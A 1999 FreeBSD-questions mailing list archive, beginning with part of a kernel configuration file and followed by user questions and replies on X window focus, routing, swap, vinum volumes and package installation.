options		VISUAL_USERCONFIG	#visual boot -c editor

config		kernel	root on wd0

# To make an SMP kernel, the next two are needed
#options	SMP			# Symmetric MultiProcessor Kernel
#options	APIC_IO			# Symmetric (APIC) I/O
# Optionally these may need tweaked, (defaults shown):
#options	NCPU=2			# number of CPUs
#options	NBUS=4			# number of busses
#options	NAPIC=1			# number of IO APICs
#options	NINTR=24		# number of INTs

controller	isa0
controller	eisa0
controller	pci0

controller	fdc0	at isa? port "IO_FD1" bio irq 6 drq 2
disk		fd0	at fdc0 drive 0
#disk		fd1	at fdc0 drive 1

options		"CMD640"	# work around CMD640 chip deficiency
controller	wdc0	at isa? port "IO_WD1" bio irq 14
disk		wd0	at wdc0 drive 0
#disk		wd1	at wdc0 drive 1

controller	wdc1	at isa? port "IO_WD2" bio irq 15
disk		wd2	at wdc1 drive 0
#disk		wd3	at wdc1 drive 1

options		ATAPI		#Enable ATAPI support for IDE bus
options		ATAPI_STATIC	#Don't do it as an LKM
#device		acd0		#IDE CD-ROM
device		wfd0		#IDE Floppy (e.g. LS-120)

# A single entry for any of these controllers (ncr, ahb, ahc) is
# sufficient for any number of installed devices.
controller	ncr0
controller	ahb0
controller	ahc0
controller	isp0

# This controller offers a number of configuration options, too many to
# document here  - see the LINT file in this directory and look up the
# dpt0 entry there for much fuller documentation on this.
#controller      dpt0

#controller	adv0	at isa? port ? cam irq ?
#controller	adw0
#controller	bt0	at isa? port ? cam irq ?
#controller	aha0	at isa? port ? cam irq ?
#controller	aic0	at isa? port 0x340 bio irq 11

#controller	scbus0

#device		da0

#device		sa0

#device		pass0

#device		cd0	#Only need one of these, the code dynamically grows

#device		wt0	at isa? port 0x300 bio irq 5 drq 1
#device		mcd0	at isa? port 0x300 bio irq 10

#controller	matcd0	at isa? port 0x230 bio

#device		scd0	at isa? port 0x230 bio

# atkbdc0 controlls both the keyboard and the PS/2 mouse
controller	atkbdc0	at isa? port IO_KBD tty
device		atkbd0	at isa? tty irq 1
#device		psm0	at isa? tty irq 12

device		vga0	at isa? port ? conflicts

# splash screen/screen saver
pseudo-device	splash

# syscons is the default console driver, resembling an SCO console
device		sc0	at isa? tty
# Enable this and PCVT_FREEBSD for pcvt vt220 compatible console driver
#device		vt0	at isa? tty
#options		XSERVER			# support for X server
#options		FAT_CURSOR		# start with block cursor
# If you have a ThinkPAD, uncomment this along with the rest of the PCVT lines
#options		PCVT_SCANSET=2		# IBM keyboards are non-std

device		npx0	at isa? port IO_NPX irq 13

#
# Laptop support (see LINT for more options)
#
#device		apm0    at isa?	disable	flags 0x31 # Advanced Power Management

# PCCARD (PCMCIA) support
#controller	card0
#device		pcic0	at card?
#device		pcic1	at card?

device		sio0	at isa? port "IO_COM1" flags 0x10 tty irq 4
device		sio1	at isa? port "IO_COM2" tty irq 3
device		sio2	at isa? disable port "IO_COM3" tty irq 5
device		sio3	at isa? disable port "IO_COM4" tty irq 9

# Parallel port
device		ppc0	at isa? port? net irq 7
controller	ppbus0
device		nlpt0	at ppbus?
device		plip0	at ppbus?
device		ppi0	at ppbus?
#controller	vpo0	at ppbus?

# Order is important here due to intrusive probes, do *not* alphabetize
# this list of network interfaces until the probes have been fixed.
# Right now it appears that the ie0 must be probed before ep0. See
# revision 1.20 of this file.
#device ax0
#device de0
#device fxp0
#device mx0
#device pn0
#device rl0
#device tl0
#device tx0
#device vr0
#device vx0
#device wb0
#device xl0

#device ed0 at isa? port 0x280 net irq 10 iomem 0xd8000
#device ie0 at isa? port 0x300 net irq 10 iomem 0xd0000
#device ep0 at isa? port 0x300 net irq 10
#device ex0 at isa? port? net irq?
#device fe0 at isa? port 0x300 net irq ?
#device le0 at isa? port 0x300 net irq 5 iomem 0xd0000
#device lnc0 at isa? port 0x280 net irq 10 drq 0
#device ze0 at isa? port 0x300 net irq 10 iomem 0xd8000
#device zp0 at isa? port 0x300 net irq 10 iomem 0xd8000
#device cs0 at isa? port 0x300 net irq ?

pseudo-device	loop
pseudo-device	ether
pseudo-device	sl	1
pseudo-device	ppp	1
pseudo-device	tun	1
pseudo-device	pty	16
pseudo-device	gzip		# Exec gzipped a.out's

# KTRACE enables the system-call tracing facility ktrace(2).
# This adds 4 KB bloat to your kernel, and slightly increases
# the costs of each syscall.
options		KTRACE		#kernel tracing

# This provides support for System V shared memory and message queues.
#
options		SYSVSHM
options		SYSVMSG

#  The `bpfilter' pseudo-device enables the Berkeley Packet Filter.  Be
#  aware of the legal and administrative consequences of enabling this
#  option.  The number of devices determines the maximum number of
#  simultaneous BPF clients programs runnable.
#pseudo-device	bpfilter 4	#Berkeley packet filter


# USB support
#controller    uhci0
#controller    ohci0
#controller    usb0
#
# for the moment we have to specify the priorities of the device
# drivers explicitly by the ordering in the list below. This will
# be changed in the future.
#
#device        ums0
#device        ukbd0
#device        ulpt0
#device        uhub0
#device        ucom0
#device        umodem0
#device        hid0
#device        ugen0

#
#options       USB_DEBUG
#options       USBVERBOSE


--------------155C66F8496E44041BD734CA--



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From owner-freebsd-questions  Tue Mar 23 12:34:19 1999
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Received: from gershwin.tera.com (unknown [207.224.230.28])
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From: Gary Kline <kline@tera.com>
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Subject: Re: FreeBSD X11 Desktop Theme Contest
In-Reply-To: <Pine.BSF.4.05.9903231238340.8802-100000@peloton.physics.montana.edu> from Brett Taylor at "Mar 23, 99 12:43:05 pm"
To: brett@peloton.physics.montana.edu (Brett Taylor)
Date: Tue, 23 Mar 1999 12:33:53 -0800 (PST)
Cc: kline@tera.com, chirag@cse.iitb.ernet.in,
	freebsd-questions@FreeBSD.ORG
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According to Brett Taylor:
> Hi Gary,
> 
> On Tue, 23 Mar 1999, Gary Kline wrote:
> 
> > 	Nice link, Brett.  Too bad the contest died; I missed
> > 	this one!   Maybe people are still interested in contributing
> > 	screenshots.    
> 
> Haven't had any in awhile - I just made a new screenshot of my current
> Window Maker desktop recently but I didn't put it up.  I can point you to
> it if you're interested.

		Please do. 


> 
> > 	Here's a related X/wm/environment question.  Does any window
> > 	manager allow toggling of autoraise|autolower for xterms?
> > 	Sometimes I like to have xterms automatically raise with a 
> > 	mouse swipe; sometime not.  Be nice to have a [Toggle]
> > 	button.  
> 
> Not sure exactly what you mean here.  Do you mean sloppy focus? (I don't
> think so but....)
> 
> If you're asking what I think you're asking, it appears Window Maker may
> have something like that (but again I'm not sure).
> 
> They have a key shortcut for "Raise/Lower window under mouse pointer" -
> you could use sloppy focus and then define this key shortcut to do what
> you want (maybe?).
> 


		Hmm, how to put this into words??...  

		All right.  Many months ago I had ctwm's 

		AutoRaise
		{
		  #Main
		}

		feature set on virtually every xterm.  Moving
		the mouse pointer into whatever new xterm would
		popup (up and over) the other xterm.  Simple:
		just moving the cursor would give me a full view
		of a new xterm.

		The drawback is that when I used apps with a scrollbar
		I frequently hit the xterm below it. And Pop! the
		xterm would cover the application.  Say netscape or
		knews.

		Now I've disabled all but one AutoRaise xterm.
		It would be handy if there were a ``toggle auto-raise''
		button for using apps like netscape.

		This matter may be like someone asking for the 
		world on a stick, :-), and I realize that.  

		What is "sloppy focus"?  

		thanks,

		gary



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From owner-freebsd-questions  Tue Mar 23 12:36:31 1999
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Date: Tue, 23 Mar 1999 14:34:35 -0600 (CST)
From: Font <font@couscous.fortdearborn.com>
To: freebsd-questions@freebsd.org
Subject: XFree86 seems unable to focus
Message-ID: <Pine.BSF.3.96.990323141622.26138A-100000@couscous.fortdearborn.com>
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I have a FreeBSD 2.2.8-RELEASE box, installed from the CD along with
XFree86 from the same CD, which spends almost all of its time running
xterms and Netscape Communicator.  The port for fvwm95 has been installed,
and is pretty much uncustomized, except for the path to Netscape.  Machine
is IBM Intellistation M Pro w/Permedia 2 video.

Every now and then, for no apparent reason, the windowing system seems to
partially ignore left-clicks, so that I cannot click on any window to get
keyboard focus on it.  I can still select text, and middle-click to paste
that text into another window, but focus remains unchanged.  The only way
I can get focus to change is to click on the taskbar; then the appropriate
window has focus, but I have to use the taskbar again to get another
window to focus.

Restarting fvwm95 (from the menu) does not correct the focus problem, so I
assume that this is a problem in XFree86 itself.  Exiting from X entirely,
then starting it up again, does correct the problem, but of course I lose
the positions and contents of my windows.  Is this an actual problem with
XFree86, or is it more likely to be a configuration issue?  What can I
try?

I should note that in a previous version of FreeBSD w/XFree86 (on a Dell
with ATI mach64 video), I had the same problem with AfterStep 1.0 as the
window manager; in that case, right-clicking on the title bar twice
restored the window's focus and size, but again, the process would have to
be repeated for each window.  Yuck. 

dw
--
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From owner-freebsd-questions  Tue Mar 23 12:44:58 1999
Delivered-To: freebsd-questions@freebsd.org
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          Wed, 24 Mar 1999 08:46:09 +1200
From: "Dan Langille" <junkmale@xtra.co.nz>
Organization: The FreeBSD Diary
To: Michael Brown <Michael_Brown@sw.cc.va.us>
Date: Wed, 24 Mar 1999 08:45:06 +1200
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Subject: Re: ~User Web pages
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Cc: freebsd-questions@FreeBSD.ORG
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On 23 Mar 99, at 14:53, Michael Brown wrote:

> I am trying to setup ~user web pages what is the process to do so.

I've done something similar.  Not sure if it's what you want.  See my web 
pages.  Search for Apache under the topics page.

--
Dan Langille
The FreeBSD Diary
http://www.FreeBSDDiary.com/freebsd


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From owner-freebsd-questions  Tue Mar 23 13: 7:44 1999
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Date: Tue, 23 Mar 1999 14:06:05 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Gary Kline <kline@tera.com>
Cc: chirag@cse.iitb.ernet.in, freebsd-questions@FreeBSD.ORG
Subject: Re: FreeBSD X11 Desktop Theme Contest
In-Reply-To: <199903232033.MAA28850@athena.tera.com>
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Hi,

On Tue, 23 Mar 1999, Gary Kline wrote:

> According to Brett Taylor:

> > Haven't had any in awhile - I just made a new screenshot of my current
> > Window Maker desktop recently but I didn't put it up.  I can point you to
> > it if you're interested.

> 		Please do. 

Okay - be warned.  It's a South Park-ified movie poster.  It's also big
(read 326 kB).  Sorry.  :-)

	http://peloton.physics.montana.edu/brett/images/south_screen.jpg

You can get the theme for this at wm.themes.org.  I've modified the
original theme so that it would work (there are missing xpms and the
background is defined wrong in the theme initially) and then had it use a
bigger image than the one that it comes w/ from wm.themes.org (grabbed the
larger image from the original site) and then had the background image
centered instead of maximized.

> 		All right.  Many months ago I had ctwm's 
> 
> 		AutoRaise
> 		{
> 		  #Main
> 		}
> 
> 		feature set on virtually every xterm.  Moving
> 		the mouse pointer into whatever new xterm would
> 		popup (up and over) the other xterm.  Simple:
> 		just moving the cursor would give me a full view
> 		of a new xterm.
> 
> 		The drawback is that when I used apps with a scrollbar
> 		I frequently hit the xterm below it. And Pop! the
> 		xterm would cover the application.  Say netscape or
> 		knews.

Ah... okay. I think then what you want is to set a window, say Netscape,
to always be on top?  If so you can do that in Window Maker.  Start up
Netscape, right click on the title bar and choose window attributes and
then click on "Keep on top/floating" and it will always stay on top.  
Even if you set your other apps to autoraise, this would still keep
Netscape on top (preventing the xterm from popping up over it).  I imagine
that After Step and such have similar things, but I can't recall how to do
it in AS - I think it's something like "Always on Top" in the old 1.0
wording.  No clue how to do this in the latest versions.

> 		What is "sloppy focus"?  

Sloppy focus is like auto-focus only the cursor can move out of the window
and that window will remain focussed until it enters another window.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Tue Mar 23 13:25:51 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from mrdata.com (unknown [216.61.45.9])
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	Tue, 23 Mar 1999 15:24:02 -0600 (CST)
From: Blake Freeburg <blakef@mrdata.com>
Message-Id: <199903232124.PAA03471@mrdata.com>
Subject: Routing a subnet?
To: freebsd-net@freebsd.org, freebsd-questions@freebsd.org
Date: Tue, 23 Mar 1999 15:24:02 -0600 (CST)
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Hello,

  I know this may be a simple routing problem, but I would like to know:

  How to route a subnet.... When we try to route 

  route add -net 216.61.45.24/29 216.61.45.21 
  or
  route add 216.61.45.24/29 216.61.45.21  

  we always get a 'default' added to the routing tables which point to the 2nd router (216.61.45.21), not our default router (216.61.45.1).

  Am I missing something in the config settings? (both on 2.2.8 and 3.1?)

Blake


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From owner-freebsd-questions  Tue Mar 23 13:29:46 1999
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Date: Wed, 24 Mar 1999 07:59:20 +1030
From: Greg Lehey <grog@lemis.com>
To: Ben Smithurst <ben@scientia.demon.co.uk>, jmb@freebsd.org
Cc: "FreeBSD Mailing List (E-mail)" <questions@freebsd.org>
Subject: Re: Am I the only one getting doubles
References: <6C37EE640B78D2118D2F00A0C90FCB441A5FAA@site2s1> <19990323101518.K442@lemis.com> <19990323163017.A2574@scientia.demon.co.uk>
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On Tuesday, 23 March 1999 at 16:30:17 +0000, Ben Smithurst wrote:
> Greg Lehey wrote:
>
>> We had problem with isdn.net.il, which was running Microsoft's
>> SPAMPSVC mailer.  It was sending received messages back to the list,
>> apparently not for the first time.  It's been blocked, and you
>> shouldn't see any more problems in that area.
>
> I am seeing problems, though I don't know what anyone at freebsd.org can
> do. The chances are if you reply to this, I'll get three copies
>
> you -> me
> you -> freebsd -> me

OK, these two are normal.

> you -> freebsd -> isdn.net.il -> me

This shouldn't happen any more.  If it does, please bounce ('b'
command) the message to me.  That way the headers stay intact.

> That's what's been happening so far.
>
>> If you get any more, look at the headers and report anything that
>> looks like a loop.
>
> They still haven't fixed that, they seem to be resending all mail based
> on the To/Cc headers, or something equally stupid. I've written to them
> once, no reply, hasn't been fixed. Has anyone contacted their upstream
> provider or anything? It's becoming annoying.

jmb has tried several times.

> Can't jmb remove the offending address from the list until it gets
> fixed, or something?

That's just what he has done, and why I don't expect any more of this.

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


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From owner-freebsd-questions  Tue Mar 23 13:30: 0 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from mrdata.com (unknown [216.61.45.9])
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	Tue, 23 Mar 1999 15:28:19 -0600 (CST)
From: Blake Freeburg <blakef@mrdata.com>
Message-Id: <199903232128.PAA03501@mrdata.com>
Subject: Proper virtual domain setup?
To: freebsd-questions@freebsd.org, freebsd-net@freebsd.org
Date: Tue, 23 Mar 1999 15:28:19 -0600 (CST)
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Hello,

  To configure a virtual domain with 2.2.8 or 3.1, I have been

  ifconfig .... alias
  route ... localhost

  now this seems to create a virtual alias, but it seems that my card is never seen when I do 'netstat -r'.  Instead, the address set in rc.conf needs to be looped back to localhost.  

  So I am wondering, am I doing this right?  Any better way to do this?

Blake


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From owner-freebsd-questions  Tue Mar 23 13:39:32 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 07:18:59 +1000
From: Greg Black <gjb@comkey.com.au>
To: Konrad Heuer <kheuer@gwdu60.gwdg.de>
Cc: "Scott I. Remick" <scott@computeralt.com>,
	FreeBSD Questions <freebsd-questions@FreeBSD.ORG>
Subject: Re: Out of Swap Space hangs system 
References: <Pine.BSF.4.05.9903232021440.76938-100000@gwdu60.gwdg.de> 
In-reply-to: <Pine.BSF.4.05.9903232021440.76938-100000@gwdu60.gwdg.de> 
    of Tue, 23 Mar 1999 20:26:25 +0100
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> > Is it normal for running out of swap space to hang the system?
> 
> Unfortunately, yes.

Right, so far.

> It should not be, especially for a server OS.

By all means provide an algorithm to solve it, if it concerns
you.  I think you'll find it's non-trivial.

> To be serious: To my mind this problem should be addressed as soon as
> possible. I know each FreeBSD developer works for free - but this is a
> serious problem (maybe it has been fixed in -current?).

I'd be surprised if anybody was actively working on it.  It's
not a serious problem -- a properly setup Unix system will never
crash from lack of swap.  I've been running Unix machines for
the best part of 20 years and never seen a panic from lack of
swap.  Some of those machines had 0.5 MB of RAM and a single 50
MB disk, supported several users in a commercial environment and
only ever fell over when somebody yanked the power cord.

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Tue Mar 23 13:41: 0 1999
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Date: Wed, 24 Mar 1999 07:38:04 +1000
From: Greg Black <gjb@comkey.com.au>
To: Eric Jacoboni <jaco@titine.fr.eu.org>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: BSD equivalent of Linux 'fuser' command 
References: <Pine.BSF.4.10.9903231247000.76993-100000@chain.freebsd.os.org.za> <874sncm4or.fsf@titine.fr.eu.org> 
In-reply-to: <874sncm4or.fsf@titine.fr.eu.org> 
    of 23 Mar 1999 19:39:00 +0100
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> > Yup - fstat(1)
> 
> Yes, but... no :(
> 
> I've read the man page, but i don't obtain what i want. (But, as you
> can read, English is not my mother tongue, so i've probably miss
> something...).
> 
> 1) let's root do a 'mount /cdrom ; cd /cdrom'
> 
> 2) with 'fuser -a /cdrom', i get a single line telling me that root
> is using /cdrom (that's why i cannot do a 'umount /cdrom', and that
> exactly what i wanted to know)
> 
> 3) with 'fstat /cdrom', i get... nothing.
> 
> 4) with 'fstat | grep /cdrom', i get... nothing.

This seems to be a bug in fstat.  However, if you install the
lsof package and repeat your test, you'll get the information
you want.

You may care to report the fstat problem with send-pr (after
checking to see if it has already been reported).

-- 
Greg Black <gjb@acm.org>



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From owner-freebsd-questions  Tue Mar 23 13:41:41 1999
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To: "Samer, Michael, IN" <Michael.Samer@Ingolstadt.BERTRANDT.com>
Cc: "FreeBSD Questions (E-Mail)" <freebsd-questions@FreeBSD.ORG>
Subject: Re: RSH 4 Root denied 
Reply-To: Gary Jennejohn <garyj@muc.de>
In-reply-to: Your message of "Mon, 22 Mar 1999 16:08:40 +0100."
             <DE7D44483D7ED211BF3300A0C93B22770C7B59@in_sv_off> 
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"Samer, Michael, IN" writes:
>Hallo,
>ich habe folgendes Problem: sobald ich mich als root auf einer =
>bestimmten
>Maschine mit rsh einlogge bekomme ich die Meldung "not on system =
>console -
>Connection closed", als ob das Login nicht funktionieren w=FCrde und =
>ich
>unberechtigter weise rausfliegen w=FCrde...; wenn ich mich =FCber =
>telnet
>einlogge passiert das selbe. Sobald ich statt root mit meinem User =
>drinne
>bin geht's?! Das Profile von root ist O.K. aber das war's dann auch. =
>Von der
>entsprechenden Maschine aus kann ich nicht mal eine rsh ausf=FChren =
>ohne
>obiges Problem, egal welches login...
>Irgendwelche Tips? Ist dringend!
>

Du haettest bestimmt mehr Glueck, wenn Du Deine Frage auf Englisch geschrieben
haettest.

There's probably a file like /etc/ttys which only allows root logins on
the console. Since you don't mention what OS is running on the target
system there's not a lot we can do to help.

---
Gary Jennejohn
Home - garyj@muc.de
Work - garyj@fkr.dec.com




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From owner-freebsd-questions  Tue Mar 23 13:43:29 1999
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From: "Gill" <gill@topsecret.net>
To: <freebsd-questions@FreeBSD.org>
Subject: installing packages
Date: Tue, 23 Mar 1999 16:43:02 -0500
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Hello.  I have just recieved and installed 3.1-RELEASE from the CD I orderd
from Walnut Creek a couple of weeks ago.  The initial installation went
smoothly as I had been running 3.0-STABLE on this machine for a few weeks
but wanted to have a fresh install.

On my network I have the following:  1 3Com OfficeConnect ISDN Router
(10.101.101.1); 1 FreeBSD box (486, 16 MB RAM, 515 MB HDD) (10.101.101.2); 1
NT 4.0 SP4 Server (10.101.101.101); 1 NT 4.0 SP4 Workstation
(10.101.101.102).  All boxes run with a 255.255.0.0 netmask.

My FreeBSD box does not have a CD-ROM but the NT Server does, so I wanted to
use that hardware accross the network to install the OS.  Without being able
to remotely mount the CD, I figured the easiest was to create an FTP site on
the NT server and copy everything from CD 1 except the packages folder the
new FTP site.  I did that and the install went marvelous.  Now when i run
/stand/sysinstall and want to add stuff from the packages collection i'm up
against the same problem and rather than try to copy the whole packages
folder from the CD to the FTP directory, I simply set the options on the
FreeBSD box so that it doesn't look for a 3.1-RELEASE directory as soon as
it logs into the FTP server and point the FTP site to the CD-ROM.  So, to
recap, now when you ftp into 10.101.101.101:2101 you get the FreeBSD 3.1
CD-ROM #1 .  When running /stand/sysinstall and trying to install packages
with this set-up I have no problems pulling down the index and selecting the
packages I want to install, but each package always gives me the same error
message, "Unable to fetch package [package-name] from selected media.  No
package add will be done."

I realize that not all the packages are on this disc so I'll tell you that
the packages I'm trying to install are Pine 4, Apache 1.3, Bind 8, Luna 1.9,
and so forth....stuff that *is* on that disc.

What's more, I did try to copy all of the packages folder (except the Xwin
related dirs) to the hard drive and make an FTP site from there, but the
result was the same (as expected).

Do you have any hints of what might be going on here?  I have plenty of hard
drive space to dump this stuff onto so I don't think that's the problem.

thanks,
--gill

__________________________________
 James Gill III, MCSE, MCP+i, CNA
Network Consultant,  Cleveland, OH
 gill@topsecret.net  216-830-2208




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From owner-freebsd-questions  Tue Mar 23 13:46:33 1999
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Date: Tue, 23 Mar 1999 15:44:58 -0600
From: bob olbrich <rjob@gulftel.com>
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I've downloaded a minimal installation and I'd like to know
what to do next (I'm new to UNIX, but I do have a good book).
Do I mount something at this point?

Second, if I do a custom installation can I stop it at some point and
restart it later
without losing any information?

Bob Olbrich   rjob@gulftel.com



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From owner-freebsd-questions  Tue Mar 23 13:47:24 1999
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From: Tim <nesson-eng@mediaone.net>
To: "'freebsd-questions@freebsd.org'" <freebsd-questions@freebsd.org>
Subject: Downloaded FreeBSD OK (Packages what is needed and how i put them on a cdrom)
Date: Tue, 23 Mar 1999 16:50:14 -0500
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How do i put the packages on a cdrom? The packages are 930MB and will not fit on one cdrom, so how do i split them up????


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From owner-freebsd-questions  Tue Mar 23 13:56:21 1999
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From: Tony <tbrock@mail.phoenix.net>
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Date: Tue, 23 Mar 1999 16:07:33 +0000
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For archival searching purposes:
IBM PC300GL
Intel Ether/10/100

For anyone interested I found that making the following BIOS changes allowed my
fxp driver to function properly during installation.  It was freezing quite
nicely prior to these modifications.

In the bios for 
Advanced Settings
     PCI-Control
          Network [enable]
     Plug and Play
          Plug and Play OS [yes]


I'm pretty sure the second option was the gotcha but the other was changed at
the same time so there it sits.

Tony


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From owner-freebsd-questions  Tue Mar 23 14:11:49 1999
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To: freebsd-questions@FreeBSD.ORG
Cc: Masahiro Ariga <mariga@cd.mbn.or.jp>
Subject: Re: how to die gracefully 
Reply-To: Gary Jennejohn <garyj@muc.de>
In-reply-to: Your message of "Mon, 22 Mar 1999 17:11:54 EST."
             <Pine.BSF.4.05.9903221710050.293-100000@nyc-ny78-59.ix.netcom.com> 
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Spike writes:
>On Mon, 22 Mar 1999, Masahiro Ariga wrote:
>
>> My name is Masahiro Ariga,
>> I made a server-like program which receives data from another PC by using
>> socket and,inside,uses pipes and communicates among processes,and send those
>> finished data to client PC  using socket .
>> Right now,each process works in the form of infinite loops, and only way to
>> finish the program is to enter Ctl^C.
>> First loaded program works fine,and enters Ctl^C to exit it,but if I execute
>> it second time,it shows abnormalties like taking time to start to send data
>> to clent,and badly enough,it responds not at all.
>> I presume it results from not closing sockets,or residual memory or
>> something,but I'm not sure.
>> 
>> So,sinior UNIX programers,would you teach me next two questions ?
>> 
>> 1.How should I exit gracefully by pushing Ctl^C. I mean,what should I do to
>> recover normal condition in preparation for next execution ?
>
>Well, close the sockets, kill the children processes, and call exit().
>
>> 2.I like to catch the signal when pushed Ctl^C,and make a handler
>> routine.Would you tell me what signal I can catch when enterring Ctl^C ?
>
>The signal generally generated by the shell when ^C is entered is SIGTERM.
>Refer to sigaction(2) and signal(3).
>

I think he needs to look into SO_REUSEADDR.

---
Gary Jennejohn
Home - garyj@muc.de
Work - garyj@fkr.dec.com




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From owner-freebsd-questions  Tue Mar 23 14:14:53 1999
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From: Yann Ramin <yramin@redshift.com>
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Hi,

	I'm having a small installation problem with FreeBSD on a server
system.  The system will boot both floppies fine, but when it comes to
either copying files to the hard disk (from a DOS partition or the
Internet) it hangs after it copies 1024 bytes.  At times it even hangs
when creating the file systems (especialy the root file system).  I have
tried numerous drive geometry settings, as well as several different
installation methods, different label/slice settings, and even
low-leveling the drive, with no luck.
Specs of the system:

1 Pentium 166 on an SMP capable board.
2 Onoard Adaptec AIC-7870 fast-wide SCSI-2 controllers
One 2GB IBM Tandem SCSI-2 drive, on the second controller, ID 4
8MB of Parity RAM

I feel this is a controller problem, as I saw no support for a 7870
controller in the hardware list, but the erratic behavior is strange,
freezing in various points. 
Any help would be appreciated :)

Yann


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From owner-freebsd-questions  Tue Mar 23 14:23:57 1999
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Date: Wed, 24 Mar 1999 08:53:27 +1030
From: Greg Lehey <grog@lemis.com>
To: Chris Piazza <cpiazza@home.net>
Cc: questions@FreeBSD.ORG
Subject: Re: harddrive woes (!)
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On Monday, 22 March 1999 at 23:17:21 -0800, Chris Piazza wrote:
> On 23-Mar-99 Greg Lehey wrote:
>> On Monday, 22 March 1999 at 22:34:37 -0800, Chris Piazza wrote:
>>
>> This is telling you that the sector you're looking for on the disk
>> simply isn't there.  This isn't FreeBSD, it's the drive itself.
>>
>>> It seems to me like FreeBSD spammed my harddrive with something, but
>>> what I don't understand is why other OS' do not even think twice
>>> about it.
>>
>> There are two possibilities here:
>>
>> 1.  The other OSs don't try to access this sector.
>> 2.  They ignore the error.
>
> My problem with this is I can't even write 100k on to this partition (about 3.3
> gigs, at the end of the drive) in FreeBSD, yet I've filled the drive in both
> Linux and FreeBSD =/.

Filling the drive doesn't mean you have written every sector.

>> Hopefully (1) is the correct answer :-)
>>
>>> Is there any way to wipe this part of the drive "totally" clean?
>>
>> Some format utilities can do this for you.  Unfortunately FreeBSD
>> doesn't supply anything to format IDE drives.  Does your BIOS have
>> something?
>>
>
> It has the 'low level format', of course ;).  And this error has survived
> through that.

It's not much of a low level format if it doesn't detect unrecoverable
defects.  There's a program called bad144 which we used to use for MFM
drives; you might like to investigate whether it can help you.

Greg
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From owner-freebsd-questions  Tue Mar 23 14:26:40 1999
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I'm setting up a new FreeBSD system (3.1) on
a Pentium box with two Quantum Ultra-SCSI drives
(4.5 GB each).  This box will be used to log data
from two important experiments.  Since the data is kind
of important, the powers that be want to have the data mirrored 
across the two drives.

I've currently got 1.2 GB of each drive allocated;
swap apace and root FS on da0, and /work on da1. 
I'd like to use the remaining 3.3 GB of each drive 
for vinum volumes.  Any reasons why I shouldn't be 
able to do so?

I *have* read through the man pages (I've got hard copy 
here in front of me), and think I have an idea of how to
proceed.  I've created a file named /etc/vinum.rc, containing:

drive drive0 device /dev/da0
drive drive1 device /dev/da1
volume www
  plex org striped 256k
      sd length 1600m drive drive0
      sd length 1600m drive drive1
volume logs
   plex org striped 256k
      sd length 1600m drive drive0
      sd length 1600m drive drive1

As I understand what I've read, this should identify both
hard drives as eligible for vinum control, identify volumes named
"www" and "logs", each of which is built out of 256 kbyte stripes
across both drives, for a total size of 1600 megs each volume.
Is this more or less correct?

My next step was:
  vinum create /etc/vinum.rc
which seemd to complete normally.  This was followed by
   vinum init www
   vinum init logs
which also seemed to complete normally (and very quickly as
well - just a few seconds).  I then tried
   vinum start www
   vinum start logs
which produced after just a few seconds:
   vinum: Can't write config top /dev/da0, error 19
   vinum: drive0 is down
   vinum: www.p0.s0 is crashed
   vinum: www.p0 is corrupt
   vinum: logs.p0.s0 is crashed
   vinum: logs.p0 is corrupt
   vinum: drive1 is down
   vinum: www.p0.s1 is crashed
   vinum: www.p0 is faulty 
   vinum: www is down
   vinum: logs.p0.s1 is crashed
   vinum: logs.p0 is faulty 
   vinum: logs is down

I assume this indicates that I did something majorly dumb.  
Could some kind soul please point out the error of my ways?

And finally, once I have managed to complete the proper steps
to actually have a working vinum config, what do I need to do 
to newfs my vinum volumes?


   



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From owner-freebsd-questions  Tue Mar 23 14:35:32 1999
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Subject: Re: FreeBSD X11 Desktop Theme Contest
In-Reply-To: <Pine.BSF.4.05.9903231350310.11710-100000@peloton.physics.montana.edu> from Brett Taylor at "Mar 23, 99 02:06:05 pm"
To: brett@peloton.physics.montana.edu (Brett Taylor)
Date: Tue, 23 Mar 1999 14:35:07 -0800 (PST)
Cc: kline@tera.com, chirag@cse.iitb.ernet.in,
	freebsd-questions@FreeBSD.ORG
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According to Brett Taylor:
> Hi,
> 
> On Tue, 23 Mar 1999, Gary Kline wrote:
> 
> > According to Brett Taylor:
> 
> > > Haven't had any in awhile - I just made a new screenshot of my current
> > > Window Maker desktop recently but I didn't put it up.  I can point you to
> > > it if you're interested.
> 
> > 		Please do. 
> 
> Okay - be warned.  It's a South Park-ified movie poster.  It's also big
> (read 326 kB).  Sorry.  :-)

		Not-a-problem since I'm onsite.  That is a neat bg!
		The weather widget is nice.  

		Another neat app would be having stock tickers from
		all over the world with whatever delay.  ---Sorry, 
		I'm drifting.


> 
> 	http://peloton.physics.montana.edu/brett/images/south_screen.jpg
> 
> You can get the theme for this at wm.themes.org.  I've modified the
> original theme so that it would work (there are missing xpms and the
> background is defined wrong in the theme initially) and then had it use a
> bigger image than the one that it comes w/ from wm.themes.org (grabbed the
> larger image from the original site) and then had the background image
> centered instead of maximized.
> 

		Got to check out that site!  It's be worthwhile
		having one of those JPEG's replace my present,
		grey xdm login screen.  Jordan mentioned doing 
		something similar with Chuck a year or two ago.  


> > 		[[ mumble ]]



> 
> Ah... okay. I think then what you want is to set a window, say Netscape,
> to always be on top?  


		Yes, this is another way of looking at the issue.
		Either netscape or knews or another app.


> If so you can do that in Window Maker.  Start up
> Netscape, right click on the title bar and choose window attributes and
> then click on "Keep on top/floating" and it will always stay on top.  
> Even if you set your other apps to autoraise, this would still keep
> Netscape on top (preventing the xterm from popping up over it).  I imagine
> that After Step and such have similar things, but I can't recall how to do
> it in AS - I think it's something like "Always on Top" in the old 1.0
> wording.  No clue how to do this in the latest versions.


		Is there a way of toggling that ``keep on top''
		off as well?


> 
> > 		What is "sloppy focus"?  
> 
> Sloppy focus is like auto-focus only the cursor can move out of the window
> and that window will remain focussed until it enters another window.
> 
> 

		So that if you bump your mouse out of this xterm
		into root, say, you can keep on working... .  
		That's a well-thought-out feature.

		gary



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From owner-freebsd-questions  Tue Mar 23 14:40:25 1999
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From: Greg Lehey <grog@lemis.com>
To: Brendan Kosowski <brendan@bmk.com.au>,
